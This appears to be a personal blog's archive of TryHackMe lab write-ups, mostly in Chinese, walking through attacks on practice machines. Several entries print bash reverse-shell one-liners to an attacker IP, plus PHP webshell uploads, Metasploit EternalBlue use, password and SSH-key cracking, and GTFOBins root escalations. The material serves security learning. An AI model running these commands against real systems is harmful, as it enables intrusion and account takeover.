Anthem (Try Hack Me Writeup)

URL : https://tryhackme.com/room/anthem IP : 10.10.18.8 這題感覺有點廢,但還是寫一下WP好ㄌ 機器開機要等將近5分鐘為什麼? 不知道,反正我等了5分鐘才有畫面 估計是因為 Windows 有點肥ㄅ Recon 老梗 nmap -A 有開 80、3389 有抓到 robots.txt Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-28 21:42 EDT Nmap scan report for 10.10.18.8 Host is up (0.28s latency). Not shown: 998 filtered ports PORT STATE SERVICE VERSION 80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) | http-robots.txt: 4 disallowed entries |_/bin/ /config/ /umbraco/ /umbraco_client/ |_http-title: Anthem.com - Welcome to our blog 3389/tcp open ms-wbt-server Microsoft Terminal Services | rdp-ntlm-info: | Target_Name: WIN-LU09299160F | NetBIOS_Domain_Name: WIN-LU09299160F | NetBIOS_Computer_Name: WIN-LU09299160F | DNS_Domain_Name: WIN-LU09299160F | DNS_Computer_Name: WIN-LU09299160F | Product_Version: 10.0.17763 |_ System_Time: 2021-07-29T01:42:55+00:00 | ssl-cert: Subject: commonName=WIN-LU09299160F | Not valid before: 2021-07-28T01:38:13 |_Not valid after: 2022-01-27T01:38:13 |_ssl-date: 2021-07-29T01:43:01+00:00; +1s from scanner time. robots.txt還有叫做 umbraco 的東西Google 後發現他是一種 CMS 看到一組奇怪密碼 UmbracoIsTheBest! UmbracoIsTheBest! # Use for all search robots User-agent: * # Define the directories not to crawl Disallow: /bin/ Disallow: /config/ Disallow: /umbraco/ Disallow: /umbraco_client/ 回答問題 普通問題 What port is for the web server?80What port is for remote desktop service?- 3389What is a possible password in one of the pages web crawlers check for?- 他都說 crawlers 了,所以應該就是 robots.txt 的密碼 UmbracoIsTheBest!What CMS is the website using?- umbraco robots.txt 上有寫What is the domain of the website?- anthem.com 首頁上就有 通靈問題 What’s the name of the AdministratorCMS 中有一篇文章這樣寫 http://10.10.18.8/archive/a-cheers-to-our-it-department/- Born on a Monday, Christened on Tuesday, Married on Wednesday, Took ill on Thursday, Grew worse on Friday, Died on Saturday, Buried on Sunday. That was the end…- 把字串丟去 Google 可以找到這篇文https://en.wikipedia.org/wiki/Solomon_Grundy_(nursery_rhyme) 所以 admin 叫做 Solomon_GrundyCan we find find the email address of the administrator?- 在某篇貼文中http://10.10.18.8/archive/we-are-hiring/貼文者叫做 Jane DoeEmail 是 : JD@anthem.com- 看起來規則是姓名各取一個字,都大寫 @anthem.com那 admin 這個- Solomon_Grundy 就 SG ㄅSG@anthem.com Flag 們 我覺得這邊的 Flag 也都偏通靈沒有任何 web 技巧可言 就把整個網站繞一圈就能逛完Flag1- http://10.10.18.8/archive/we-are-hiring/ THM{L0L_WH0_US3S_M3T4}Flag2- http://10.10.18.8/ THM{G!T_G00D}Flag4- http://10.10.18.8/archive/a-cheers-to-our-it-department/ THM{AN0TH3R_M3TA}Flag3- http://10.10.18.8/authors/jane-doe/ THM{L0L_WH0_D15} 通靈登入 通靈登入使用帳號 : SG@anthem.com 密碼 : UmbracoIsTheBest!前面 robots.txt 找到ㄉ登入 http://10.10.18.8/umbraco通靈RDP- sudo apt install freerdp2-x11 帳號 : SG 密碼 : UmbracoIsTheBest! xfreerdp +drives /u:SG /v:10.10.18.8:3389桌面上就有 user.txt- THM{N00T_NO0T} 提權 開啟顯示隱藏檔案 逛到 c:\backup\restore他沒有讀取權限,但我們可以修改他的權限- 修改後點開可以看到以下字串- ChangeMeBaby1MoreTime 猜測他可能是 admin 密碼使用RDP連 Admin- xfreerdp +drives /u:Administrator /v:10.10.18.8:3389 使用密碼 ChangeMeBaby1MoreTime取得 admin 權限- THM{Y0U_4R3_1337}

2021-07-29 · 2 分鐘 · steven

Pickle Rick (Try Hack Me Writeup)

URL : https://tryhackme.com/room/picklerick IP: 10.10.223.99 Recon nmap -A 10.10.223.99 22 port 80 port首頁原始碼- 提示 username : R1ckRul3srobots.txt- Wubbalubbadubdub Login 使用 Username : R1ckRul3s Password : Wubbalubbadubdub Webshell 進入後就是一個 webshell戳成 reverse shellbash -c 'bash -i >& /dev/tcp/10.13.21.55/7877 0>&1'Flag1- 在 web 目錄 mr. meeseek hairFlag2- 在 rick 家目錄 1 jerry tearFlag3- 發現可以直接 sudo su 所以就進 root 取得最後一個 flag fleeb juice

2021-07-29 · 1 分鐘 · steven

Overpass (Try Hack Me Writeup)

URL : https://tryhackme.com/room/overpass IP : 10.10.214.180 Scan 首先是老梗的用 Nmap 掃一下nmap -A 10.10.214.180 發現基本上只有開 ssh 跟 http接下來用 dirsearch 掃一下路徑- python3 dirsearch.py -u http://10.10.214.180/ -e all 看起來基本上比較有趣的只有 /admin/admin 介面- 基本上就是一個滿普通的登入介面,可以輸入帳號或密碼對著登入介面做了一些盲測的 SQLi'or'1'='1 -- 之類的都沒有反應 ROT47 (多走的彎路QQ) - 選到 About 看了一下,簡介是說他們曾經因為密碼在 rockyou 裡面,所以感到很失望,創了一個密碼管理軟體到 Downloads 來看一下他們的密碼軟體- 他們有 source code http://10.10.129.94/downloads/src/overpass.go 擷取重點發現- 是一個用 Go 語言寫的密碼管理軟體,而他們的加密使用了 ROT47 的加密算法 //Secure encryption algorithm from https://socketloop.com/tutorials/golang-rotate-47-caesar-cipher-by-47-characters-example func rot47(input string) string { var result []string for i := range input[:len(input)] { j := int(input[i]) if (j >= 33) && (j ```python def rot47(s): x = [] for i in range(len(s)): j = ord(s[i]) if j >= 33 and j 我心裡的猜想- 它們之前的密碼是用 rockyou 的密碼,現在在推他們自己的密碼管理軟體,使用 ROT47 - 該不會……可以爆破 web 介面密碼,使用 ROT47 後的 rockyou 吧? - 所以寫了以下的 Code 來把 rockyou 轉 ROT47 ```python def rot47(s): x = [] for i in range(len(s)): j = ord(s[i]) if j >= 33 and j 所以就把所有的使用者準備成一個 txt (每個人名換一行)使用 Hydra 進行爆破- `hydra -L user_l.txt -P rot47rock.txt 10.10.214.180 http-post-form "/api/login:username=^USER^&password=^PASS^:Incorrect credentials"`跑ㄌ很久也沒用沒用QQ ## 觀察登入程式碼 - 爆破畢竟是下下策,還是先觀察一下登入介面的原始碼有什麼東東 - 就發現了一個 login.jshttp://10.10.214.180/login.js - 擷取重要的弱點- 跑到 elase 代表登入成功,會寫入一個餅乾餅乾名稱 : "SessionToken" - 餅乾值 : statusOrCookie ```javascript if (statusOrCookie === "Incorrect credentials") { loginStatus.textContent = "Incorrect Credentials" passwordBox.value="" } else { Cookies.set("SessionToken",statusOrCookie) window.location = "/admin" } 直接用 Firefox 新增一個餅乾名稱用 “SessionToken”, Value 亂寫 然後就登進去了!!! 上面直接留了一串 Private Key,也寫說是給 james 的 -----BEGIN RSA PRIVATE KEY----- Proc-Type: 4,ENCRYPTED DEK-Info: AES-128-CBC,9F85D92F34F42626F13A7493AB48F337 LNu5wQBBz7pKZ3cc4TWlxIUuD/opJi1DVpPa06pwiHHhe8Zjw3/v+xnmtS3O+qiN JHnLS8oUVR6Smosw4pqLGcP3AwKvrzDWtw2ycO7mNdNszwLp3uto7ENdTIbzvJal 73/eUN9kYF0ua9rZC6mwoI2iG6sdlNL4ZqsYY7rrvDxeCZJkgzQGzkB9wKgw1ljT WDyy8qncljugOIf8QrHoo30Gv+dAMfipTSR43FGBZ/Hha4jDykUXP0PvuFyTbVdv BMXmr3xuKkB6I6k/jLjqWcLrhPWS0qRJ718G/u8cqYX3oJmM0Oo3jgoXYXxewGSZ AL5bLQFhZJNGoZ+N5nHOll1OBl1tmsUIRwYK7wT/9kvUiL3rhkBURhVIbj2qiHxR 3KwmS4Dm4AOtoPTIAmVyaKmCWopf6le1+wzZ/UprNCAgeGTlZKX/joruW7ZJuAUf ABbRLLwFVPMgahrBp6vRfNECSxztbFmXPoVwvWRQ98Z+p8MiOoReb7Jfusy6GvZk VfW2gpmkAr8yDQynUukoWexPeDHWiSlg1kRJKrQP7GCupvW/r/Yc1RmNTfzT5eeR OkUOTMqmd3Lj07yELyavlBHrz5FJvzPM3rimRwEsl8GH111D4L5rAKVcusdFcg8P 9BQukWbzVZHbaQtAGVGy0FKJv1WhA+pjTLqwU+c15WF7ENb3Dm5qdUoSSlPzRjze eaPG5O4U9Fq0ZaYPkMlyJCzRVp43De4KKkyO5FQ+xSxce3FW0b63+8REgYirOGcZ 4TBApY+uz34JXe8jElhrKV9xw/7zG2LokKMnljG2YFIApr99nZFVZs1XOFCCkcM8 GFheoT4yFwrXhU1fjQjW/cR0kbhOv7RfV5x7L36x3ZuCfBdlWkt/h2M5nowjcbYn exxOuOdqdazTjrXOyRNyOtYF9WPLhLRHapBAkXzvNSOERB3TJca8ydbKsyasdCGy AIPX52bioBlDhg8DmPApR1C1zRYwT1LEFKt7KKAaogbw3G5raSzB54MQpX6WL+wk 6p7/wOX6WMo1MlkF95M3C7dxPFEspLHfpBxf2qys9MqBsd0rLkXoYR6gpbGbAW58 dPm51MekHD+WeP8oTYGI4PVCS/WF+U90Gty0UmgyI9qfxMVIu1BcmJhzh8gdtT0i n0Lz5pKY+rLxdUaAA9KVwFsdiXnXjHEE1UwnDqqrvgBuvX6Nux+hfgXi9Bsy68qT 8HiUKTEsukcv/IYHK1s+Uw/H5AWtJsFmWQs3bw+Y4iw+YLZomXA4E7yxPXyfWm4K 4FMg3ng0e4/7HRYJSaXLQOKeNwcf/LW5dipO7DmBjVLsC8eyJ8ujeutP/GcA5l6z ylqilOgj4+yiS813kNTjCJOwKRsXg2jKbnRa8b7dSRz7aDZVLpJnEy9bhn6a7WtS 49TxToi53ZB14+ougkL4svJyYYIRuQjrUmierXAdmbYF9wimhmLfelrMcofOHRW2 +hL1kHlTtJZU8Zj2Y2Y3hd6yRNJcIgCDrmLbn9C5M0d7g0h2BlFaJIZOYDS6J6Yk 2cWk/Mln7+OhAApAvDBKVM7/LGR9/sVPceEos6HTfBXbmsiV+eoFzUtujtymv8U7 -----END RSA PRIVATE KEY----- 那我們當然就把這一串存到自己的電腦,再嘗試 run 看看囉!!chmod 600 James_key.pem ssh james@10.10.214.180 -i James_key.pem 發現 key 需要用密碼!爆密碼- 老梗,請約翰出場,先找 ssh2john 把 key 轉 john 的格式python3 ../ssh2john.py James_key.pem > James_john.txt再來就 run john 囉!john James_john.txt --wordlist=/opt/rockyou.txt- 密碼就出來囉!! james13 (其實我先跑了 rot47 的密碼,但失敗了QQ)使用 ssh 進行登入- ssh james@10.10.214.180 -i James_key.pem 搭配密碼 james13 成功登入! 取得 user.txt``thm{65c1aaf000506e56996822c6281e6bf7} 提權 之前我們都用 Linenum,這次來換換口味,使用小豌豆 Linpeas 吧!先把檔案 scp 上去 scp -i James_key.pem ../linpeas.sh james@10.10.214.180:/home/james馬上就噴出了一個很重要的 Cron job- 小豌豆好棒棒!!! 每分鐘會用 root 權限 curl 一次 overpass.thm 的網址,然後把值丟去bash發現 /etc/hosts 沒有設權限- 所以我們可以把 overpass.thm 轉到自己的伺服器上 在自己的電腦上準備一個資料夾路徑- downloads/src/buildscript.sh 的檔案 內容物為自己的 Reverse shellbash -c 'bash -i >& /dev/tcp/10.14.7.198/7877 0>&1'然後在自己的電腦上開一下 nc 進行監聽- nc -vlk 7877 開啟 Python server- python3 -m http.server攻擊戳回來了!!!- 取得 root flag- thm{7f336f8c359dbac18d54fdd64ea753bb}

2021-07-27 · 2 分鐘 · steven

Blue (Try Hack Me Writeup)

URL : https://tryhackme.com/room/blue IP : 10.10.158.118 Recon Q: How many ports are open with a port number under 1000?nmap -p 1-1000 10.10.158.118 回傳 3 個135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds老規矩習慣的 nmap -A 10.10.158.118 看看- Q: What is this machine vulnerable to? (Answer in the form of: ms??-???, ex: ms08-067)- nmap 看到的 Windows7 版本拿去 Googlewindows 7 professional 7601 service pack 1 exploit就會出現 MS17-010 EternalBlue Metasploit 開啟 msfconsole搜尋 search MS17-010 選擇 exploit/windows/smb/ms17_010_eternalblue輸入 use exploit/windows/smb/ms17_010_eternalblue- 輸入 show options 設定需要的 optionsset RHOSTS 10.10.158.118 set LHOST 10.14.7.198輸入 set payload windows/x64/shell/reverse_tcp輸入 exploit- 成功拿到 shell! 輸入 whoami 可以發現,其實已經是 system 權限了 使用 Meterpreter 存參https://paper.seebug.org/29/簡單來說,Meterpreter是提供給"後滲透"使用- 也就是說,比起cmd有更多方便的功能醬子 例如 getsystem 可自動提權Google shell_to_meterpreter- 取得 post/multi/manage/shell_to_meterpreter``use post/multi/manage/shell_to_meterpreter- show options set LHOST 10.14.7.198 確定剛剛我們 ctrl + z 的 session輸入 sessions set SESSION 1``run- 輸入 sessions- 可以看到目前有兩個 session 選第 2 個輸入 sessions 2進入 shell- 輸入 shell 輸入 whoami確定目前自己是 nt authority\system按下 Ctrl + Z 回到 Meterpreter 選單- 輸入 ps 觀察目前系統執行的 process尋找最後一個 process3056 692 TrustedInstaller.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\servicing\TrustedInstaller.exe輸入 migrate 3056 遷移到 PID 上輸入 hashdump- 可以看到不同使用者的 hash 看起來一般的使用者應該是 Jon把 Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d::: 存成 txt 用 john 來破- john jon.txt --format=NT --wordlist=/opt/rockyou.txt 1 秒鐘就爆出來ㄌ alqfna22 各種 Flag Flag1? This flag can be found at the system root.type flag1.txt``flag{access_the_machine}Flag2? This flag can be found at the location where passwords are stored within Windows.- 他說 Flag 存在 Windows 存密碼的地方 Windows 的密碼 hash 存在 C:\Windows\System32\config 裡面有 `type flag2.txt``flag{sam_database_elevated_access}flag3? This flag can be found in an excellent location to loot. After all, Administrators usually have pretty interesting things saved.- 其實我覺得這裡有一點點暴力,但這一題真的有點通靈 已經發現前兩隻 flag 檔名是 flag1.txt , flag2.txt 所以我想說直接在 C槽 根目錄爆搜dir flag*.txt /s /p 然後就噴出來ㄌ www flag{admin_documents_can_be_valuable} 這也提醒我們,可以觀察使用者的 Documents 或 Desktop但據我所知大多數的台灣人並沒有用 “我的文件” ㄉ習慣 www

2021-07-25 · 2 分鐘 · steven

Basic Pentesting (Try Hack Me Writeup)

URL : https://tryhackme.com/room/basicpentestingjt Target IP : 10.10.165.235 Scanning nmap -A 10.10.165.235 Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-24 04:40 EDT Nmap scan report for 10.10.165.235 Host is up (0.27s latency). Not shown: 994 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 db:45:cb:be:4a:8b:71:f8:e9:31:42:ae:ff:f8:45:e4 (RSA) | 256 09:b9:b9:1c:e0:bf:0e:1c:6f:7f:fe:8e:5f:20:1b:ce (ECDSA) |_ 256 a5:68:2b:22:5f:98:4a:62:21:3d:a2:e2:c5:a9:f7:c2 (ED25519) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Site doesn't have a title (text/html). 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP) 8009/tcp open ajp13 Apache Jserv (Protocol v1.3) | ajp-methods: | Supported methods: GET HEAD POST OPTIONS 8080/tcp open http Apache Tomcat 9.0.7 |_http-favicon: Apache Tomcat |_http-title: Apache Tomcat/9.0.7 Service Info: Host: BASIC2; OS: Linux; CPE: cpe:/o:linux:linux_kernel Host script results: |_clock-skew: mean: 1h20m01s, deviation: 2h18m34s, median: 0s |_nbstat: NetBIOS name: BASIC2, NetBIOS user: , NetBIOS MAC: (unknown) | smb-os-discovery: | OS: Windows 6.1 (Samba 4.3.11-Ubuntu) | Computer name: basic2 | NetBIOS computer name: BASIC2\x00 | Domain name: \x00 | FQDN: basic2 |_ System time: 2021-07-24T04:41:05-04:00 | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) | smb2-security-mode: | 2.02: |_ Message signing enabled but not required | smb2-time: | date: 2021-07-24T08:41:04 |_ start_date: N/A Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 52.95 seconds The open port is22 SSHOpenSSH 7.2p2 - Username Enumeration80 HTTP- Apache/2.4.18 : no vulnerability139、445 SMB- Samba smbd 4.3.11-Ubuntu : no vulnerability8009 AJP138080 Tomcat Access Website (80 port) Use dirsearchpython3 dirsearch.py -u http://10.10.165.235/ -e allQuestion1 : What is the name of the hidden directory on the web server(enter name without /)?- developmentAfter access the development page, we can get 2 files- They are some mail from J and K to talk about some upgrade smb issue. Try to find the username enum4linux 10.10.165.235 -a So there are 2 username we findkay and janAlthough the verison of SSH services is 7.2p2, it has a vulnerability with Username Enumeration- https://www.exploit-db.com/exploits/40136 But I have tried and it doesn’t work What is the password? We need to burp force the password for these 2 users Use hydra to check with rockyou.txthydra -l kay -P /opt/rockyou.txt ssh://10.10.165.235 hydra -l jan -P /opt/rockyou.txt ssh://10.10.165.235 We find the password : armando with user jan Login into ssh services with jan’s credential ssh jan@10.10.165.235 We are login with jan, but we can’t cat /home/kay/pass.bakAnd then we find some cool things at `/home/kay/.ssh‵- This is the login key file he/she forgot to remove, so we can login with ssh without password, we can try to scp it to our computer by scp -r jan@10.10.165.235:/home/kay/.ssh .Use ssh command to try to login with kay- chmod 600 id_rsa ssh kay@10.10.165.235 -i id_rsa But the key file needs password, so we need to crak Crack ssh key Use ssh2john python ssh2john.py id_rsa > john_sshRun john with wordlist rockyou- john john_ssh --wordlist=/opt/rockyou.txt So password is beeswax Use key file and password to login with ssh And we can find the final flag!heresareallystrongpasswordthatfollowsthepasswordpolicy Final Screenshot

2021-07-24 · 3 分鐘 · steven

Tomghost (Try Hack Me Writeup)

URL : https://tryhackme.com/room/tomghost IP : 10.10.9.138 Scanning nmap -A 10.10.9.138 有開的 port22 SSH 7.2ps 53 tcpwarpped 8009 AJP13 1.3 8080 Tomcat 9.0.30 Exploit 使用 searchsploit 搜尋 AJPsearchsploit AJP 可以找到 Apache Tomcat - AJP 'Ghostcat File Read/Inclusionhttps://www.exploit-db.com/exploits/48143`wget https://www.exploit-db.com/download/48143``mv 48143 48143.py``python 48143.py`- 就直接噴出帳號密碼ㄌ帳號 : skyfuck 密碼 : 8730281lkjlkjdqlksalks SSH 進去晃晃 ssh skyfuck@10.10.9.138 發現家目錄裡面有兩個檔案 先抓出來scp -r skyfuck@10.10.9.138:/home/skyfuck .在 /home/merlin 發現 user.txt- THM{GhostCat_1s_so_cr4sy} 暴力破解 pgp 看到一個 asc 檔案 跟一個 pgp 檔案用 file 觀察他們在幹嘛 .pgp 是加密後ㄉ東西 .asc 的是 private keypgp 轉 john- gpg2john tryhackme.asc > john_gpg 備註 : gpg 是開源版本的 pgpref : https://zh.wikipedia.org/wiki/PGP我們要破的是 .asc 的 private key 檔案求密碼用 john 爆破,With rockyou.txt- john john_gpg --wordlist=/opt/rockyou.txt 破出密碼為 alexandru``gpg --decrypt credential.pgp- 輸入密碼 取得 merlin:asuyusdoiuqoilkda312j31k2j123j1g23g12k3g12kj3gk12jg3k12j3kj123j 提權 su merlin輸入密碼sudo -l- (root : root) NOPASSWD: /usr/bin/zip 發現有 zip 的 sudo 權限到 GTFOBins 找 zip 提權方法- 可以 sudo 的TF=$(mktemp -u) sudo zip $TF /etc/hosts -T -TT 'sh #'提權成功- root.txt : THM{Z1P_1S_FAKE}

2021-07-24 · 1 分鐘 · steven

Startup (Try Hack Me Writeup)

URL : https://tryhackme.com/room/startup Target IP : 10.10.37.216 Scan 老規矩 nmap 起手式nmap -A 10.10.37.216 有開21 FTPnmap 說 Anonymous allow22 SSH80 網頁掃網頁路徑- python3 dirsearch.py -u http://10.10.37.216/ -e all 可能有用的路徑http://10.10.37.216/files/裡面有一段話,跟 meme FTP ftp 10.10.37.216帳號 : Anonymous 密碼 : 空白 發現路徑就是網頁伺服器的files嘗試上傳檔案- 根目錄(網頁的 files) 沒有權限ftp 目錄- 有權限ㄌ! Shell 訪問 http://10.10.37.216/files/ftp/b374k.php使用預設密碼轉用 Reverse Shell- 本地端準備 nc -vlk 7877 在 Terminal 輸入 bash -c 'bash -i >& /dev/tcp/10.14.7.198/7877 0>&1'切換為交互式 shell- python -c 'import pty; pty.spawn("/bin/bash")' 亂逛系統 根目錄底下recipe.txt``Someone asked what our main ingredient to our spice soup is today. I figured I can't keep it a secret forever and told him it was love. 問題 : What is the secret spicy soup recipe? 答案 : loveincidents 資料夾- 裡面有 suspicious.pcapng 透過 webshell 把他載下來備用使用者相關- /home 底下有 lennie 使用者 解析 pcap 觀察第 45 個封包 follow TCP stream可以看到 webshell 的紀錄 其中輸入了密碼 c4ntg3t3n0ughsp1c3 嘗試登入使用者 回到 reverse shell 輸入 su lennie 並搭配上述密碼 登入成功!!取得 user.txt- THM{03ce3d619b80ccbfb3b7fc81e46c0e79} 研究提權 在使用者資料夾裡找到 scripts 資料夾 兩個檔案權限都是 root,但我們可以進行讀取 planner.sh看起來會把環境變數 $LIST 給寫到 startup_list.txt接著呼叫 /etc/print.sh #!/bin/bash echo $LIST > /home/lennie/scripts/startup_list.txt /etc/print.sh 觀察 /etc/print.sh 可以發現我們有 write 的權限-rwx------ 1 lennie lennie 25 Nov 12 2020 /etc/print.sh在 print.sh 下面加上一行 reverse shell- echo "bash -c 'bash -i >& /dev/tcp/10.14.7.198/8778 0>&1'" >> /etc/print.sh 當然這邊的 port 要跟目前的不同,然後本地開 nc -vlk 8778 來聽 然後連指令都還沒執行,就莫名地拿到 root ㄌ ?__? THM{f963aaa6a430f210222158ae15c3d76d} 為什麼誤打誤撞拿到 root ㄌ,還是要來研究一下 跑 Linpeas準備 linpeas.sh 在本地python3 -m http.server回到使用者端- wget 10.14.7.198:8000/linpeas.sh bash linpeas.sh | tee meow.txt看不出什麼結果使用 Pspy- 用上述同樣方法載到被駭機觀察 發現每分鐘都會用 UID=0 執行一次 planner.sh 所以應該是一個 root 的 cron job進入root後- 輸入 crontab -l 就能看到這條 cron job 了我還是覺得這一段有一點點通靈 QQ

2021-07-24 · 2 分鐘 · steven

Root Me (Try Hack Me Writeup)

題目網址 : https://tryhackme.com/room/rrootme 目標IP : 10.10.233.205 Scanning 起手式 nmapnmap -A 10.10.233.205 22 : SSH7.6p1 有枚舉的漏洞 CVE-2018-15473 https://github.com/sriramoffcl/OpenSSH-7.6p1-Exploit-py-/blob/master/45233.py80 : Apache- Apache httpd 2.4.29nmap 掃描的同一時間,先打開網頁看看- 網頁起手式 dirsearchpython3 dirsearch.py -u http://10.10.233.205/ -e all 看起來可能會有趣的路徑/panel/ /uploads/ 上傳 webshell /panel/ 可以上傳檔案 用 Wappalyzer 可以確定他是 PHP上傳個 b374k.php- 會噴錯,Google翻譯說 PHP是不允許的! (葡萄牙文)使用 php 副檔名解析漏洞測試- Apache 1.x 2.x 文件解析特性BJ4測試檔名 b374k.php.aaa- Google 翻譯 :文件上傳成功! 使用 Webshell 點下面的 Veja! 會跳轉到 http://10.10.233.205/uploads/b374k.php.aaa 使用預設密碼就能進入 shell 戳入 Reverse Shell Webshell 滿好用的,但是Reverse shell用起來更爽確認攻擊機 ip 為 10.14.7.198終端機輸入 nc -vlk 7877webshell 的 Terminal 輸入- bash -c 'bash -i >& /dev/tcp/10.14.7.198/7877 0>&1'即可順利連上 Reverse shell- 輸入指令讓他變得更 interactive 一點- python -c 'import pty; pty.spawn("/bin/bash")' 在電腦裡面逛大街 user.txt THM{y0u_g0t_a_sh3ll 設法提權 使用內建的上傳功能上傳 LinEnum.sh開權限 chmod +x LinEnum.sh 執行,並存到檔案 ./LinEnum.sh | tee meow.txt 基本上優先注意紅色、橘色的東西找到有趣ㄉ東西!! [+] Possibly interesting SUID files: -rwsr-sr-x 1 root root 3665768 Aug 4 2020 /usr/bin/python- 也就是說 /usr/bin/python 可以用 SUID 執行 到 GTFOBins 找 Python 有 SUID 的提權方法python -c 'import os; os.execl("/bin/sh", "sh", "-p")' 提權成功!! Flag : THM{pr1v1l3g3_3sc4l4t10n}

2021-07-24 · 1 分鐘 · steven